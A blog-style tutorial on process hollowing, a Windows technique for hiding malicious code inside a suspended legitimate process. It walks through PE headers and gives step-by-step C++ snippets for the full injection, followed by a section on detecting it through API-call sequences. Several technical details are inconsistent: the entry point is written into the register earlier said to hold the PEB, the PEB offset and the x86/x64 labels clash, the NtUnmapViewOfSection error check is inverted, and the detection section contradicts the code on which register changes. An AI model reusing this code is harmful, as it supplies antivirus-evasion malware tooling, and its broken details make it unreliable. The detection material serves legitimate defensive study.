Zum Hauptinhalt springen

Anatomy of Process Hollowing: Hiding Code in Plain Sight

Process hollowing replaces a legitimate process's memory with malicious code, allowing the payload to run disguised as a trusted application to bypass process-based firewalls and antivirus.

Geschrieben von
notsnakesilent
Veröffentlicht
Leserschaft
45 Aufrufe

In the constant cat-and-mouse game of cybersecurity, attackers are always developing new ways to evade detection. One of the most classic and effective techniques is Process Hollowing. It allows an attacker to carve out the memory of a legitimate process and replace it with malicious code. To the operating system and many security tools, everything looks normal—a trusted process is running. But under the hood, something else is in control.

This article provides a deep dive into the mechanics of Process Hollowing. We'll break down the Windows Portable Executable (PE) file format, walk through the step-by-step implementation, and finally, discuss how such a stealthy technique can be detected.


Understanding the Battlefield: The Portable Executable (PE) Format

Before we can manipulate a process, we must first understand its blueprint. In Windows, that blueprint is the Portable Executable (PE) format. It's the standard file format for executables (.exe), dynamic-link libraries (.dll), and other related files on all modern 32-bit and 64-bit Windows versions.

A PE file is not just a block of code; it's a highly structured file containing metadata that tells the Windows loader how to map the file into memory and prepare it for execution. For this technique, we only need to understand a few key parts.

PE file structure diagram

Every PE file begins with a legacy component: the IMAGE_DOS_HEADER. This 64-byte structure is a holdover from the days of MS-DOS. While modern Windows systems don't use it to run the main program, it's kept for backward compatibility. Its presence allows the file to be recognized as a valid MS-DOS executable. If you were to run a modern PE file on an old DOS system, this header ensures that a small, embedded "stub" program runs instead of crashing.

DOS Header structure

For the Windows loader, only two fields in this header are truly important:

  • e_magic: The first 2 bytes of the file. This "magic number" is always $0x5A4D$, which is "MZ" in ASCII. It's the signature that identifies the file as a PE executable.
  • e_lfanew: A 4-byte offset located at address $0x3C$ within the header. This is the crucial pointer that tells the Windows loader where the modern, essential headers begin.

In a hex editor, you can see these fields clearly. The file starts with "MZ", and at offset $0x3C$, you'll find the offset to the next major structure.

Hex view of the DOS Header

DOS Stub: The Polite Error Message

Following the DOS Header is the DOS Stub. This is a small, actual MS-DOS program that typically just prints a message like "This program cannot be run in DOS mode" and exits. While its message can be customized by the compiler, we generally don't need to interact with it for Process Hollowing.

DOS Stub program in a disassembler

NT Headers: The Heart of the Executable

Following the e_lfanew offset brings us to the IMAGE_NT_HEADERS. This is the most important structure for the Windows loader. It contains essential information about the executable's layout and requirements. It consists of a signature, a file header (IMAGE_FILE_HEADER), and an optional header (IMAGE_OPTIONAL_HEADER).

While these headers are packed with information, we only need two key values from the IMAGE_OPTIONAL_HEADER:

  • ImageBase: The preferred virtual memory address where the executable should be loaded. The hollowing technique will try to allocate memory at this specific address in the target process.
  • AddressOfEntryPoint: The offset (relative to the ImageBase) where code execution begins. This is the first instruction the CPU will run once the program is loaded.

With this foundational knowledge, we're ready to walk through the code.


The Hollowing Process: A Step-by-Step Guide

Note: The following code snippets are based on the implementation found at https://github.com/notsnakesilent/AnotherProcessHollowing and are used here for educational purposes.

1. Read the Source Executable into a Buffer

First, we need to get the raw bytes of our malicious executable (the "source" file) that we want to inject. We open the file, get its size, allocate a memory buffer, and read the file's entire content into it.

    HANDLE sourceFile = CreateFileA(sourceProcess.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (sourceFile == INVALID_HANDLE_VALUE) {
        ErrorExit("Could not open source file");
    }

    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), 0, sourceFileSize);

    DWORD bytesRead = 0;
    if (!ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, &bytesRead, NULL)) {
        ErrorExit("Could not read source file");
    }

2. Parse the PE Headers of the Source File

With the file in memory, we can easily parse its PE structures. We cast the buffer pointer to a PIMAGE_DOS_HEADER to access the DOS header. Then, we use the $e\_lfanew$ field to find the IMAGE_NT_HEADERS.

    PIMAGE_DOS_HEADER sourceImageDOSHeader = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)sourceFileBytesBuffer + sourceImageDOSHeader->e_lfanew);

3. Create a Legitimate Process in a Suspended State

Next, we create an instance of a legitimate process (the "target" or "host" process). The critical part is to create it with the CREATE_SUSPENDED flag. This tells Windows to load the process into memory but not to execute any of its code yet. This gives us a clean, paused environment to manipulate.

    STARTUPINFOA startupInfo;
    PROCESS_INFORMATION processInfo;
    ZeroMemory(&startupInfo, sizeof(startupInfo));
    ZeroMemory(&processInfo, sizeof(processInfo));
    startupInfo.cb = sizeof(startupInfo);

    if (!CreateProcessA(
        targetProcess.c_str(),   // Name of the process to create
        NULL,                    // Command line parameters
        NULL,                    // Process security attributes
        NULL,                    // Thread security attributes
        FALSE,                   // Handle inheritance
        CREATE_SUSPENDED,        // Creation flags - SUSPENDED
        NULL,                    // Process environment
        NULL,                    // Current directory
        &startupInfo,            // Startup information
        &processInfo             // Process information
    )) {
        ErrorExit("Could not create legitimate process");
    }

4. Get Information About the Created Process

To modify the target process, we need its memory layout. We can find the base address of its main executable image by inspecting the Process Environment Block (PEB). We first get the thread's context, which contains the register values. From there, we can find the PEB address and then read the process memory to get the image base address.

    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(processInfo.hThread, &context)) {
        ErrorExit("Could not get thread context");
    }
    // In x64, a register like Rbx or Rdx points to the PEB. In x86, it would be Ebx.
    DWORD_PTR pebAddress = context.Rbx;

    // The process base address is at a fixed offset from the start of the PEB (+0x8 for x86).
    LPVOID imageBaseAddress = 0;
    SIZE_T bytesRead2 = 0;

    if (!ReadProcessMemory(
        processInfo.hProcess,
        (LPVOID)(pebAddress + 8),
        &imageBaseAddress,
        sizeof(LPVOID),
        &bytesRead2
    )) {
        ErrorExit("Could not read process base address");
    }

5. Hollow Out the Target Process

This is the "hollowing" step. We use the undocumented function NtUnmapViewOfSection to de-allocate the memory that the legitimate process's code occupies. This creates a hole in the process's virtual address space where we can place our own code.

    // This function is typically loaded dynamically from ntdll.dll
    if (!NtUnmapViewOfSection(processInfo.hProcess, imageBaseAddress)) {
        // Handle error or proceed if it's acceptable for the base to be different
    }

6. Allocate New Memory in the Target Process

With the original code gone, we allocate new memory in the hollowed-out space. We use VirtualAllocEx to reserve memory at the preferred ImageBase of our source executable. We allocate enough space for the entire image and set the permissions to PAGE_EXECUTE_READWRITE.

    LPVOID newBaseAddress = VirtualAllocEx(
        processInfo.hProcess,
        (LPVOID)(sourceImageNTHeaders->OptionalHeader.ImageBase),
        sourceImageNTHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

7. Write the PE Headers into the Target Process

Now we begin reconstructing our malicious executable in the target process's memory. The first step is to copy the PE headers from our source file buffer into the newly allocated memory space using WriteProcessMemory.

    if (!WriteProcessMemory(
        processInfo.hProcess,
        newBaseAddress,
        sourceFileBytesBuffer,
        sourceImageNTHeaders->OptionalHeader.SizeOfHeaders,
        NULL
    )) {
        ErrorExit("Could not write PE headers");
    }

8. Write the PE Sections into the Target Process

Next, we loop through each section of our source executable (like .text, .data, .rdata, etc.) and write it to the correct location in the target process's memory. The destination address for each section is calculated by adding its VirtualAddress to the newly allocated ImageBase.

    PIMAGE_SECTION_HEADER sourceImageSectionHeader = (PIMAGE_SECTION_HEADER)(
        (DWORD_PTR)sourceImageNTHeaders + sizeof(IMAGE_NT_HEADERS)
    );

    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) {
        LPVOID sectionDestination = (LPVOID)(
            (DWORD_PTR)newBaseAddress + sourceImageSectionHeader->VirtualAddress
        );

        LPVOID sectionSource = (LPVOID)(
            (DWORD_PTR)sourceFileBytesBuffer + sourceImageSectionHeader->PointerToRawData
        );

        if (!WriteProcessMemory(
            processInfo.hProcess,
            sectionDestination,
            sectionSource,
            sourceImageSectionHeader->SizeOfRawData,
            NULL
        )) {
            ErrorExit("Could not write a PE section");
        }
        sourceImageSectionHeader++;
    }

9. Update the Thread Context to the New Entry Point

The target process is still paused, and its main thread is pointing to the original entry point. We must change that. We modify the thread's context, updating the appropriate register to point to the entry point of our injected code (newBaseAddress + AddressOfEntryPoint).

    context.Rbx = (DWORD_PTR)newBaseAddress + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;

    // Set the updated context in the suspended thread
    if (!SetThreadContext(processInfo.hThread, &context)) {
        ErrorExit("Could not set thread context");
    }

10. Resume Execution and Clean Up

The trap is set. All that's left is to resume the suspended thread using ResumeThread. The thread will wake up and, instead of executing the legitimate program's code, it will start executing our injected code. Finally, we clean up by freeing our buffer and closing handles.

    if (ResumeThread(processInfo.hThread) == -1) {
        ErrorExit("Could not resume thread");
    }

    HeapFree(GetProcessHeap(), 0, sourceFileBytesBuffer);
    CloseHandle(processInfo.hProcess);
    CloseHandle(processInfo.hThread);

How to Detect Process Hollowing

While Process Hollowing is effective at evading signature-based detection, it leaves a very distinct behavioral footprint. Advanced security solutions can detect this technique by monitoring sequences of API calls, rather than scanning files on disk. The approach detailed in patent WO2017160765A1 provides an excellent framework for understanding this method.

The core idea is to treat the steps of the hollowing technique as a "recipe for malice." A detection system can watch for a process that follows this recipe exactly.

The detection logic can be broken down into a state machine that tracks the actions of a "creator" process on a "target" process:

  1. The Trigger: A Suspended Process is Born
    The entire detection sequence starts when a process calls CreateProcess with the CREATE_SUSPENDED flag. This is unusual for normal program behavior and serves as the primary trigger. A security system will flag the creator process and begin monitoring its subsequent actions on the handle of the newly created (and paused) target process.

  2. State Tracking: Memory Manipulation
    Once a process is being watched, the detector looks for the characteristic memory manipulation calls performed in a specific order:

    • Unmapping: A call to NtUnmapViewOfSection on the target process. This is a strong indicator that the original code is being erased to make way for something new.
    • Allocation: A subsequent call to VirtualAllocEx in the target process. This carves out a new memory region.
    • Writing: One or more calls to WriteProcessMemory that write data into the newly allocated region. The detector can even inspect the written bytes to see if they form a valid PE header, further strengthening the suspicion.
  3. The Hijack: Modifying the Thread
    After the memory has been replaced, the detector looks for the call to SetThreadContext. This is the crucial step where the attacker redirects the process's execution flow. Changing the instruction pointer register (Rip on x64, Eip on x86) to point to the newly written code is the smoking gun.

  4. Confirmation: Resuming the Thread
    The final piece of evidence is the call to ResumeThread. This action "activates" the compromised process.

If a single creator process performs this entire sequence on a target process—Create Suspended -> Unmap -> Allocate -> Write -> Set Context -> Resume—the system can conclude with high confidence that a Process Hollowing attack has occurred and can take immediate action, such as terminating the creator process and the hollowed target.

Conclusion

Process Hollowing is a testament to the creativity of malware authors. It perfectly illustrates why modern security must move beyond simple file scanning and embrace behavioral analysis. By understanding the exact sequence of API calls required to perform the attack, defenders can build sophisticated systems capable of catching the attack in the act. For security professionals on both sides of the fence, understanding this intricate dance between process manipulation and detection is fundamental.